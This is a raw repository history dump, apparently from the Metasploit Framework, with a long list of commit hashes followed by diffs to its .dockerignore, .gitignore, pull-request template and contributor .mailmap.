| 3ff74f019d | |||
| 3125dc2fe9 | |||
| 6c9e43f2ad | |||
| c2fec5db82 | |||
| fdca963b61 | |||
| bb684bb3b1 | |||
| cd90fd3b1c | |||
| 6584da718a | |||
| 2856facdf0 | |||
| e729254b4f | |||
| 1eab4b3a7d | |||
| f073e78838 | |||
| d2624ef574 | |||
| 36e0bad421 | |||
| 0321000ea7 | |||
| 34d358b8d7 | |||
| 58dd59fad5 | |||
| 64037b0d6e | |||
| fae4751771 | |||
| c9dd7a50b6 | |||
| cd950e91a9 | |||
| 968286657e | |||
| e7249742b3 | |||
| cb0a7986bf | |||
| 4906b8a85a | |||
| adf30c5040 | |||
| 9887ca99bb | |||
| 9d0ada9b83 | |||
| cfca4b121c | |||
| 524402ac4b | |||
| 29d6cf4480 | |||
| afd8315e1d | |||
| 9dc1b4dd86 | |||
| a4950a1598 | |||
| e74239b30f | |||
| 870e8046b5 | |||
| a580055491 | |||
| 3a9c6626dc | |||
| 1609213dc2 | |||
| ac4eae2e0f | |||
| 85912be7a3 | |||
| a7debd09fd | |||
| 78dc2b0f5e | |||
| 76593371b1 | |||
| 6bb0f3207d | |||
| f345dbb78d | |||
| 931c052399 | |||
| 8cfcbac2fc | |||
| 699da8df5b | |||
| 10e419e979 | |||
| 57e4bcbf71 | |||
| a3e8cfd018 | |||
| 8edac51a58 | |||
| de9b8da12e | |||
| 81b310f928 | |||
| 8b816feab6 | |||
| f4f0205bde | |||
| f407451d68 | |||
| 5e5aa8cd03 | |||
| 144f886e8b | |||
| 0589948a73 | |||
| b4235835c8 | |||
| 60e602c371 | |||
| f50fa516f4 | |||
| 16f2dc43e0 | |||
| 679ebf31bd | |||
| 99da91e278 | |||
| 894ed4957f | |||
| 18e69b85af | |||
| 93a280dfc1 | |||
| 34e3a17fda | |||
| 5702bd6745 | |||
| ea704211ca | |||
| 4c150a10c2 | |||
| c97e6ae1e8 | |||
| e6e2388256 | |||
| d31846c5be | |||
| 50db1e295f | |||
| d69acd116d | |||
| c5d7fba3bf | |||
| 934b05e736 | |||
| b65a62ba93 | |||
| 2652f347fa | |||
| eeb1bdcff5 | |||
| 9e75866188 | |||
| 94f62bf849 | |||
| 09b5a7f162 | |||
| f9d91d210d | |||
| 9ef3112299 | |||
| 4abc5a5a2f | |||
| e646a8d5c2 | |||
| 445af29d07 | |||
| 4098c66efb | |||
| 0221d2d904 | |||
| f95136ce67 | |||
| d0d84b418b | |||
| a8f36c2a2c | |||
| 574ebd07d7 | |||
| cc293f06fe | |||
| 60d5cefd68 | |||
| 6e830a886e | |||
| 1098bc6d90 | |||
| 26d8738950 | |||
| 7c300a0f9a | |||
| e5c9945c8d | |||
| 11e3e1f3dd | |||
| 41605c533c | |||
| efb015facc | |||
| 13ccfd7bb3 | |||
| a9b78e37d2 | |||
| cc99aaafc6 | |||
| 5a09b5fea7 | |||
| 7093fa3af0 | |||
| c908c6df26 | |||
| 02cbbfd3f2 | |||
| 0bca485858 | |||
| 50fde4849a | |||
| c8ba07b426 | |||
| b57677b362 | |||
| b9fd1db5fa | |||
| ee4caba646 | |||
| d9f5385260 | |||
| 25a8283af3 | |||
| f1efa760df | |||
| e6d4c0001c | |||
| 7ac3859393 | |||
| 74040c4ee6 | |||
| 3a998fada2 | |||
| 2e198ae2a8 | |||
| 62d8cc7b21 | |||
| da9ea0b85c | |||
| f74fd9e5dd | |||
| 378d8aea36 | |||
| 318c0eda81 | |||
| 9b678c2bdd | |||
| c5c710f837 | |||
| f29c9a7c45 | |||
| 8b02f422f7 | |||
| a3d13d2870 | |||
| 4bfbd0134d | |||
| cb870b3d07 | |||
| 47df88a5cc | |||
| 4a1f881f10 | |||
| 52346c3fa8 | |||
| 4ebf57ac50 | |||
| 511e421b9c | |||
| ca1cc11d9f | |||
| e7eece60d8 | |||
| c2dc350378 | |||
| 3fdf9a0bee | |||
| 201ba41b89 | |||
| 27ba8f00df | |||
| f377774de0 | |||
| fa016de78a | |||
| 8c99a1a00d | |||
| ac324cb371 | |||
| 3afa20a1af | |||
| fe9972cc25 | |||
| 891fccb4e2 | |||
| 07ce7f3aed | |||
| 7b7deb0588 | |||
| 96b01effa7 | |||
| 9ece45a180 | |||
| 909773120c | |||
| ebf7ae0739 | |||
| b5beb2eb93 | |||
| ad7b3dac2d | |||
| 4ad42784d3 | |||
| b9e9d97479 | |||
| 082a8949e4 | |||
| 7aa743b205 | |||
| 446cb02ebc | |||
| deec6eccdf | |||
| 3e80ee1d6a | |||
| 505cc19662 | |||
| cfca18906f | |||
| 462e91ed22 | |||
| 2dca7c871b | |||
| ce202cb9b2 | |||
| 609c8da772 | |||
| ccba73b324 | |||
| 24cf756f5b | |||
| 62a9a31222 | |||
| 7d36d41b20 | |||
| ee7d5fc0c9 | |||
| 4570a7198c | |||
| 25b069f6b4 | |||
| 7aec68c1fe | |||
| 7a654ca76c | |||
| b74482aa6e | |||
| 12b296ab1a | |||
| f0dca7abbf | |||
| 2b0bce6459 | |||
| 4e235be484 | |||
| 8780c325a7 | |||
| 77dd952370 | |||
| 17c12a78f5 | |||
| 12af07d8cb | |||
| a267101413 | |||
| dd2fb2dbbe | |||
| 50f95f9940 | |||
| 6dcdf74850 | |||
| 7b4dce5e7e | |||
| 74c48f5fa4 | |||
| c898e768f6 | |||
| 586b2d92e2 | |||
| fb360e69c0 | |||
| e9ce622db7 | |||
| e0a06bb315 | |||
| 0d41160b03 | |||
| a17d1a7e19 | |||
| b9a7ed915a | |||
| d8d4479d55 | |||
| ef4dd80e2b | |||
| eeef8fa6ad | |||
| 4614b7023d | |||
| aa29fcad80 | |||
| ce5c1f07c3 | |||
| 35340ece94 | |||
| 70668c289f | |||
| 7e0b224eb2 | |||
| b537146393 | |||
| 3e412a8de3 | |||
| 162204b338 | |||
| aaa49550a7 | |||
| 9a7c0eb7b6 | |||
| d0696a09ad | |||
| 0110b97fa2 | |||
| ba9ce3fcfb | |||
| 657fadbe01 | |||
| 7dd2d3e226 | |||
| 74b3a00035 | |||
| 33add4c11f | |||
| ee0e5e8681 | |||
| a9cb08a352 | |||
| 99ba1e45ff | |||
| a54c0c4e1f | |||
| 48c9e7dfd5 | |||
| 630d87907c | |||
| b902b4c28a | |||
| 50b0c9ef5e | |||
| 7d316cb3e6 | |||
| 8f4621f424 | |||
| a99042a54d | |||
| fc1d601d13 | |||
| d3a8409a49 | |||
| 1c3f0437ed | |||
| 0b46e90bbb | |||
| a13382c80b | |||
| 8f21a1f68c | |||
| c5641c9681 | |||
| 606232828f | |||
| dc53057639 | |||
| c8f6ac99a1 | |||
| d3225ce2fb | |||
| f734031804 | |||
| d091a32be8 | |||
| b553e26117 | |||
| 1ec7474067 | |||
| 62f0e7b20a | |||
| a4f681ae35 | |||
| 66363f1643 | |||
| 7346223a65 | |||
| b4a2a6ed60 | |||
| 2839b198ba | |||
| ffee0ff1b6 | |||
| 7edb5e19e2 | |||
| a038922d32 | |||
| 9ba6797d19 | |||
| 483228c4ea | |||
| ce23c2db53 | |||
| d8af532407 | |||
| e2a646f9d3 | |||
| 85a3889eea | |||
| f56c7f9a8e | |||
| d85f9880ff | |||
| ab2e88a49e | |||
| 6557a84784 | |||
| 2008dcb946 | |||
| d08aff2dcc | |||
| 3d09e283cf | |||
| 4a35f8449a | |||
| 35fdf1473b | |||
| 86ec5861f9 | |||
| b218c7690a | |||
| 0be166e719 | |||
| 7ee9408da3 | |||
| 889de05af4 | |||
| 486f8cd2a3 | |||
| f6694992ce | |||
| f45b0e3c88 | |||
| 76db530a86 | |||
| 374763e991 | |||
| d549c2793f | |||
| 9e4e9ae614 | |||
| ddac5600e3 | |||
| 917b45664b | |||
| ff8141c1b5 | |||
| c65ff2f0f4 | |||
| 11906eb540 | |||
| 41355898fa | |||
| 9325ef8d8f | |||
| 6b5dba72d4 | |||
| 64bc029106 | |||
| 90ec367a99 | |||
| 174cd74900 | |||
| 1e9d80c998 | |||
| b8243b5d10 | |||
| c9b5e43201 | |||
| 5a2eb29a1b | |||
| 4da614532b | |||
| 260f793f2c | |||
| 54684d31bd | |||
| 032312d40b | |||
| 8369855e4f | |||
| c190cc775e | |||
| 72a20ce464 | |||
| 8f077e1bf5 | |||
| 1d6ee7192a | |||
| b0cd28ef4c | |||
| 3e8cdd1f36 | |||
| ec83a861c8 | |||
| ebf5121359 | |||
| 6890e56b30 | |||
| 2a065cd220 | |||
| f13d012ade | |||
| 56505d2cc1 | |||
| c70c3701c5 | |||
| b6bb1995ad | |||
| c31758e0ea | |||
| 530e9a9bc6 | |||
| 5b80c5de6b | |||
| d1be2d735f | |||
| 43cd788350 | |||
| b75fbd454a | |||
| 8f3fab4b1b | |||
| 657d52951b | |||
| 78480e31e7 | |||
| b494d069f7 | |||
| 92751714c1 | |||
| bdc2e7c3cd | |||
| e5db0f4610 | |||
| 3fad75641d | |||
| 08b9684c1a | |||
| 57d156a5e2 | |||
| b7904fe0cc | |||
| 9952c0ac6f | |||
| 851aae3f15 | |||
| d55d2099c5 | |||
| 4d6b2dfb46 | |||
| afed1f465e | |||
| 8de17981c3 | |||
| 75bcf82a09 | |||
| f55f578f8c | |||
| 3c9ebb97be | |||
| 4c50a7c80d | |||
| 497e02955b | |||
| 1beeb99d44 | |||
| 878779e14c | |||
| d691b86443 | |||
| 834756c337 | |||
| 090dac6d24 | |||
| 94a15920ec | |||
| 468bf4696f | |||
| bdfaaf01b2 | |||
| bd8f8fd6cb | |||
| beca63645e | |||
| cb0313642b | |||
| 46ce1dfaab | |||
| f8789fef38 | |||
| a49a983079 | |||
| b6fe6c1d38 | |||
| e8d7a074fa | |||
| 19bcef0c92 | |||
| c39c53b102 | |||
| 8c54b0e5f4 | |||
| 777d5c1820 | |||
| f0b5b5a153 | |||
| 53a66585cf | |||
| a7fa2941a8 | |||
| 4eb109b22f | |||
| f46ca66858 | |||
| 5e8a47ac00 | |||
| 496836fc06 | |||
| 60210f57e9 | |||
| 0858ca2935 | |||
| d76c3033a7 | |||
| 34aa79ca27 | |||
| e8158bd200 | |||
| 8824cc990a | |||
| f4c875b770 | |||
| 0935d31de1 | |||
| c286c708d9 | |||
| 6f70323460 | |||
| 79e8ffd983 | |||
| 1119dc4abe | |||
| efa191dd10 | |||
| e0ba903cd2 | |||
| 83e0a21a52 | |||
| 0700b17f7e | |||
| b4add59a3d | |||
| 5fdd5a7326 | |||
| 00d9e69a98 | |||
| ec020e3d07 | |||
| 75d08e5dc2 | |||
| ceb7419714 | |||
| fd11e7c4df | |||
| dc64f63517 | |||
| 5284e20a52 | |||
| 0646b5cb39 | |||
| f082fd5399 | |||
| 65b858ac06 | |||
| b7ae7a47be | |||
| c48587066d | |||
| 9f4784354a | |||
| 0df3e17e0c | |||
| 43e1b5bdd1 | |||
| 0eaeeb4aa7 | |||
| ab210b0bf6 | |||
| 3640e87a37 | |||
| b45a36180e | |||
| c606eabbb9 | |||
| 372cf740da | |||
| ce514ed3e5 | |||
| e0f8d622ec | |||
| 991409fdd6 | |||
| 72609b3112 | |||
| 6d85330dad | |||
| 59f3c9e769 | |||
| cdc82891d8 | |||
| 83a3a4e348 | |||
| b2cc8e2b95 | |||
| 6f8660f345 | |||
| 7b5c819430 | |||
| c8320d661f | |||
| 90d360a592 | |||
| 8869ebfe9b | |||
| 18b873be47 | |||
| 6c6221445c | |||
| 6ae8a2dd2e | |||
| 8c036885bc | |||
| e226047457 | |||
| 0504cae21f | |||
| daae46d37b | |||
| d8f59a9d62 | |||
| d7dce28018 | |||
| 0a3acf57d1 | |||
| fcb2ef3933 | |||
| 05cb5edaac | |||
| 16b5f40dae | |||
| 005d34991b | |||
| e52d67cb8c | |||
| f313389be4 | |||
| 05e59bbe19 | |||
| acfd214195 | |||
| 774d363220 | |||
| 6a35b366bc | |||
| 0182594fb0 | |||
| cfd31e32c6 | |||
| 643a5511cf | |||
| 920ecf6fc5 | |||
| 22d70ddd09 | |||
| b3b89a57b5 | |||
| be2aabb873 | |||
| 908713ce68 | |||
| 3fd3bbdfb6 | |||
| b377cd8fa3 | |||
| 50f578ba79 | |||
| c74355dafb | |||
| 95bd950133 | |||
| f268c28415 | |||
| cc24bb3993 | |||
| e9d85750c2 | |||
| d751c43f52 | |||
| 3bc6808278 | |||
| 5f5684841b | |||
| abe46024de | |||
| 4bf966f695 | |||
| 50c2ed8509 | |||
| e5ea4a53d3 | |||
| b0970783ff | |||
| 09d9733a75 | |||
| cc8c1adc00 | |||
| 494b4e67bd | |||
| a79f860cb7 | |||
| 0fca4483c0 | |||
| 6ec76611c3 | |||
| 47ec362148 | |||
| 294b1e5ed7 | |||
| 44ac3f8781 | |||
| ffb53b7ca3 | |||
| 557424d2ec | |||
| ec8536f7e9 | |||
| b9bbb5e857 | |||
| 3c57ff5c59 | |||
| 6ce7352c45 | |||
| 3c56f1e1f7 | |||
| ddd2d5e43f | |||
| eeff24d2ef | |||
| c38281706d | |||
| efc65dbb0c | |||
| 48e585b66c | |||
| 1ddd31029e | |||
| e4edbb16fe | |||
| 640827c24b | |||
| 0730613c67 | |||
| 7773d90da4 | |||
| 8605992cdf | |||
| e5d3feebea | |||
| 57eabda5dc | |||
| 8b97183924 | |||
| 0737d7ca12 | |||
| 9e3960f334 | |||
| 6364e93ece | |||
| 0d02997dd4 | |||
| bf7e7ae4be | |||
| 751742face | |||
| e936a6d7ce | |||
| 1ca2fe1398 | |||
| a7485c4bba | |||
| 5eca6866f2 | |||
| d201c5bccc | |||
| 052045c101 | |||
| 1d617ae389 | |||
| ca377cadd7 | |||
| 6a8da3223e | |||
| 786600bd09 | |||
| 70011922a3 | |||
| 022830634b | |||
| 1cce3fadd1 | |||
| 9d2355d128 | |||
| 2ad82ff8e3 | |||
| da307a5312 | |||
| 467f9e700d | |||
| 6cbae172f8 | |||
| 699a8e91d2 | |||
| a7cf0c8a32 | |||
| 18fa897644 | |||
| 79a8123d2f | |||
| 18d424bb83 | |||
| b16e84f574 | |||
| 18c54ebb5e | |||
| 15e44e296b | |||
| 972db476ef | |||
| c69d65c47e | |||
| ab6ffcc725 | |||
| dd977c0c28 | |||
| f9a7d34089 | |||
| 88bdee4d4b | |||
| 3105ff3626 | |||
| 9bb5577320 | |||
| 378208bc3d |
+102
@@ -0,0 +1,102 @@
|
||||
.dockerignore
|
||||
.gitignore
|
||||
.env*
|
||||
docker-compose*.yml
|
||||
docker/
|
||||
!docker/msfconsole.rc
|
||||
README.md
|
||||
.git/
|
||||
.github/
|
||||
.ruby-version
|
||||
.ruby-gemset
|
||||
|
||||
.bundle
|
||||
Gemfile.local
|
||||
Gemfile.local.lock
|
||||
# Rubymine project directory
|
||||
.idea
|
||||
# Sublime Text project directory (not created by ST by default)
|
||||
.sublime-project
|
||||
# RVM control file, keep this to avoid backdooring Metasploit
|
||||
.rvmrc
|
||||
# Allow for a local choice of (unsupported / semi-supported) ruby versions
|
||||
# See PR #4136 for usage, but example usage for rvm:
|
||||
# rvm --create --versions-conf use 2.1.4@metasploit-framework
|
||||
# Because rbenv doesn't use .versions.conf, to achieve this same functionality, run:
|
||||
# rbenv shell 2.1.4
|
||||
.versions.conf
|
||||
# YARD cache directory
|
||||
.yardoc
|
||||
# Mac OS X files
|
||||
.DS_Store
|
||||
# database config for testing
|
||||
config/database.yml
|
||||
# target config file for testing
|
||||
features/support/targets.yml
|
||||
# simplecov coverage data
|
||||
coverage
|
||||
doc/
|
||||
external/source/meterpreter/java/bin
|
||||
external/source/meterpreter/java/build
|
||||
external/source/meterpreter/java/extensions
|
||||
external/source/javapayload/bin
|
||||
external/source/javapayload/build
|
||||
# Java binary ignores. Replace the 5 above with this once we're merged.
|
||||
external/source/javapayload/*/.classpath
|
||||
external/source/javapayload/*/.project
|
||||
external/source/javapayload/*/.settings
|
||||
external/source/javapayload/*/bin
|
||||
external/source/javapayload/*/target
|
||||
external/source/javapayload/*/*/.classpath
|
||||
external/source/javapayload/*/*/.project
|
||||
external/source/javapayload/*/*/.settings
|
||||
external/source/javapayload/*/*/bin
|
||||
external/source/javapayload/*/*/target
|
||||
# Packaging directory
|
||||
pkg
|
||||
tags
|
||||
*.swp
|
||||
*.orig
|
||||
*.rej
|
||||
*~
|
||||
# Ignore backups of retabbed files
|
||||
*.notab
|
||||
|
||||
# ignore Visual Studio external source garbage
|
||||
*.suo
|
||||
*.sdf
|
||||
*.opensdf
|
||||
*.user
|
||||
|
||||
# Rails log directory
|
||||
/log
|
||||
# Rails tmp directory
|
||||
/tmp
|
||||
|
||||
# ignore release/debug folders for exploits
|
||||
external/source/exploits/**/Debug
|
||||
external/source/exploits/**/Release
|
||||
|
||||
# Avoid checking in Meterpreter binaries. These are supplied upstream by
|
||||
# the metasploit-payloads gem.
|
||||
data/meterpreter/*.dll
|
||||
data/meterpreter/*.php
|
||||
data/meterpreter/*.py
|
||||
data/meterpreter/*.bin
|
||||
data/meterpreter/*.jar
|
||||
data/meterpreter/*.lso
|
||||
data/android
|
||||
data/java
|
||||
|
||||
# Avoid checking in Meterpreter libs that are built from
|
||||
# private source. If you're interested in this functionality,
|
||||
# check out Metasploit Pro: http://metasploit.com/download
|
||||
data/meterpreter/ext_server_pivot.*.dll
|
||||
|
||||
# Avoid checking in metakitty, the source for
|
||||
# https://rapid7.github.io/metasploit-framework. It's an orphan branch.
|
||||
/metakitty
|
||||
.vagrant
|
||||
|
||||
# no need for rspecs
|
||||
spec/
|
||||
@@ -11,4 +11,5 @@ List the steps needed to make sure this thing works
|
||||
- [ ] ...
|
||||
- [ ] **Verify** the thing does what it should
|
||||
- [ ] **Verify** the thing does not do what it should not
|
||||
- [ ] **Document** the thing and how it works ([Example](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/post/multi/gather/aws_keys.md))
|
||||
|
||||
|
||||
@@ -85,3 +85,10 @@ data/meterpreter/ext_server_pivot.*.dll
|
||||
# https://rapid7.github.io/metasploit-framework. It's an orphan branch.
|
||||
/metakitty
|
||||
.vagrant
|
||||
|
||||
# local docker compose overrides
|
||||
docker-compose.local*
|
||||
|
||||
# Ignore python bytecode
|
||||
*.pyc
|
||||
rspec.failures
|
||||
|
||||
@@ -1,58 +1,56 @@
|
||||
acammack-r7 <acammack-r7@github> Adam Cammack <Adam_Cammack@rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
|
||||
bcook-r7 <bcook-r7@github> Brent Cook <bcook@rapid7.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> Brian Patterson <Brian_Patterson@rapid7.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> bpatterson-r7 <Brian_Patterson@rapid7.com>
|
||||
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
|
||||
bwatters-r7 <bwatters-r7@github> Brendan <bwatters@rapid7.com>
|
||||
bwatters-r7 <bwatters-r7@github> Brendan Watters <bwatters@rapid7.com>
|
||||
cdoughty-r7 <cdoughty-r7@github> Chris Doughty <chris_doughty@rapid7.com>
|
||||
dheiland-r7 <dheiland-r7@github> Deral Heiland <dh@layereddefense.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <David_Maloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> dmaloney-r7 <DMaloney@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> Dev Mohanty <Dev_Mohanty@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> Dev Mohanty <Dev_Mohanty@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> dmohanty-r7 <Dev_Mohanty@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> dmohanty-r7 <Dev_Mohanty@rapid7.com>
|
||||
ecarey-r7 <ecarey-r7@github> Erran Carey <e@ipwnstuff.com>
|
||||
farias-r7 <farias-r7@github> Fernando Arias <fernando_arias@rapid7.com>
|
||||
gmikeska-r7 <gmikeska-r7@github> Greg Mikeska <greg_mikeska@rapid7.com>
|
||||
gmikeska-r7 <gmikeska-r7@github> Gregory Mikeska <greg_mikeska@rapid7.com>
|
||||
jbarnett-r7 <jbarnett-r7@github> James Barnett <James_Barnett@rapid7.com>
|
||||
jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
|
||||
jlee-r7 <jlee-r7@github> <egypt@metasploit.com> # aka egypt
|
||||
jlee-r7 <jlee-r7@github> <james_lee@rapid7.com>
|
||||
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
|
||||
khayes-r7 <khayes-r7@github> l0gan <Kirk_Hayes@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez+github@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@AUS-MAC-1041.local>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@aus-mac-1041.aus.rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> darkbushido <lance.sanchez@gmail.com>
|
||||
lsato-r7 <lsato-r7@github> Louis Sato <lsato@rapid7.com>
|
||||
pbarry-r7 <pbarry-r7@github> Pearce Barry <pearce_barry@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> Paul Deardorff <Paul_Deardorff@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> pdeardorff-r7 <paul_deardorff@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> Scott Davis <Scott_Davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> Scott Lee Davis <scott_davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> Scott Lee Davis <sdavis@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> Sonny Gonzalez <sgonzalez@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> Sonny Gonzalez <sonny_gonzalez@rapid7.com>
|
||||
shuckins-r7 <shuckins-r7@github> Samuel Huckins <samuel_huckins@rapid7.com>
|
||||
tdoan-r7 <tdoan-r7@github> tdoan-r7 <thao_doan@rapid7.com>
|
||||
tdoan-r7 <tdoan-r7@github> thao doan <thao_doan@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> <“bpatterson@rapid7.com”>
|
||||
bpatterson-r7 <bpatterson-r7@github> <Brian_Patterson@rapid7.com>
|
||||
bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
|
||||
bwatters-r7 <bwatters-r7@github> <bwatters@rapid7.com>
|
||||
cdoughty-r7 <cdoughty-r7@github> <chris_doughty@rapid7.com>
|
||||
dheiland-r7 <dheiland-r7@github> <dh@layereddefense.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> <David_Maloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> <DMaloney@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> <Dev_Mohanty@rapid7.com>
|
||||
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
|
||||
egypt <egypt@github> <egypt@metasploit.com> # aka egypt
|
||||
egypt <egypt@github> <james_lee@rapid7.com>
|
||||
jbarnett-r7 <jbarnett-r7@github> <James_Barnett@rapid7.com>
|
||||
jbarnett-r7 <jbarnett-r7@github> <jbarnett@rapid7.com>
|
||||
jhart-r7 <jhart-r7@github> <jon_hart@rapid7.com>
|
||||
jinq102030 <jinq102030@github> <Jin_Qian@rapid7.com>
|
||||
jinq102030 <jinq102030@github> <jqian@rapid7.com>
|
||||
jmartin-r7 <jmartin-r7@github> <Jeffrey_Martin@rapid7.com>
|
||||
kgray-r7 <kgray-r7@github> <kyle_gray@rapid7.com>
|
||||
khayes-r7 <khayes-r7@github> <Kirk_Hayes@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance@aus-mac-1041.aus.rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance@AUS-MAC-1041.local>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez+github@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@rapid7.com>
|
||||
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
|
||||
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com”>
|
||||
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> <scott_davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> <Scott_Davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> <sdavis@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
|
||||
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
|
||||
tatanus <tatanus@github> <adam_compton@rapid7.com>
|
||||
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
|
||||
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
|
||||
todb-r7 <todb-r7@github> <todb@metasploit.com>
|
||||
todb-r7 <todb-r7@github> <todb@packetfu.com>
|
||||
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
|
||||
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@cs.nmt.edu>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@metasploit.com>
|
||||
wvu-r7 <wvu-r7@github> wvu-r7 <William_Vu@rapid7.com>
|
||||
wwebb-r7 <wwebb-r7@github> William Webb <William_Webb@rapid7.com>
|
||||
wwebb-r7 <wwebb-r7@github> wwebb-r7 <William_Webb@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> <William_Vu@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> <wvu@cs.nmt.edu>
|
||||
wvu-r7 <wvu-r7@github> <wvu@metasploit.com>
|
||||
wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
|
||||
wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
|
||||
|
||||
# Above this line are current Rapid7 employees. Below this paragraph are
|
||||
# volunteers, former employees, and potential Rapid7 employees who, at
|
||||
@@ -66,15 +64,14 @@ bcoles <bcoles@github> bcoles <bcoles@gmail.com>
|
||||
bcoles <bcoles@github> Brendan Coles <bcoles@gmail.com>
|
||||
bokojan <bokojan@github> parzamendi-r7 <peter_arzamendi@rapid7.com>
|
||||
brandonprry <brandonprry@github> <bperry@brandons-mbp.attlocal.net>
|
||||
brandonprry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com>
|
||||
brandonprry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)>
|
||||
brandonprry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com>
|
||||
brandonprry <brandonprry@github> Brandon Perry <brandon.perry@zenimaxonline.com>
|
||||
bwall <bwall@github> (B)rian (Wall)ace <nightstrike9809@gmail.com>
|
||||
bwall <bwall@github> Brian Wallace <bwall@openbwall.com>
|
||||
bwall <bwall@github> (B)rian (Wall)ace <nightstrike9809@gmail.com>
|
||||
ceballosm <ceballosm@github> Mario Ceballos <mc@metasploit.com>
|
||||
Chao-mu <Chao-Mu@github> Chao Mu <chao.mu@minorcrash.com>
|
||||
Chao-mu <Chao-Mu@github> chao-mu <chao.mu@minorcrash.com>
|
||||
Chao-mu <Chao-Mu@github> chao-mu <chao@confusion.(none)>
|
||||
Chao-mu <Chao-Mu@github> <chao.mu@minorcrash.com>
|
||||
ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <chris.riley@c22.cc>
|
||||
ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <reg@c22.cc>
|
||||
claudijd <claudijd@github> Jonathan Claudius <claudijd@yahoo.com>
|
||||
@@ -85,22 +82,24 @@ crcatala <crcatala@github> Christian Catalan <ccatalan@rapid7.com>
|
||||
darkoperator <darkoperator@github> Carlos Perez <carlos_perez@darkoperator.com>
|
||||
efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com>
|
||||
efraintorres <efraintorres@github> et <>
|
||||
espreto <espreto@github> Roberto Soares <robertoespreto@gmail.com>
|
||||
espreto <espreto@github> Roberto Soares <robertoespreto@gmail.com>
|
||||
espreto <espreto@github> Roberto Soares Espreto <robertoespreto@gmail.com>
|
||||
espreto <espreto@github> Roberto Soares Espreto <robertoespreto@gmail.com>
|
||||
espreto <espreto@github> <robertoespreto@gmail.com>
|
||||
fab <fab@???> fab <> # fab at revhosts.net (Fabrice MOURRON)
|
||||
farias-r7 <farias-r7@github> <fernando_arias@rapid7.com>
|
||||
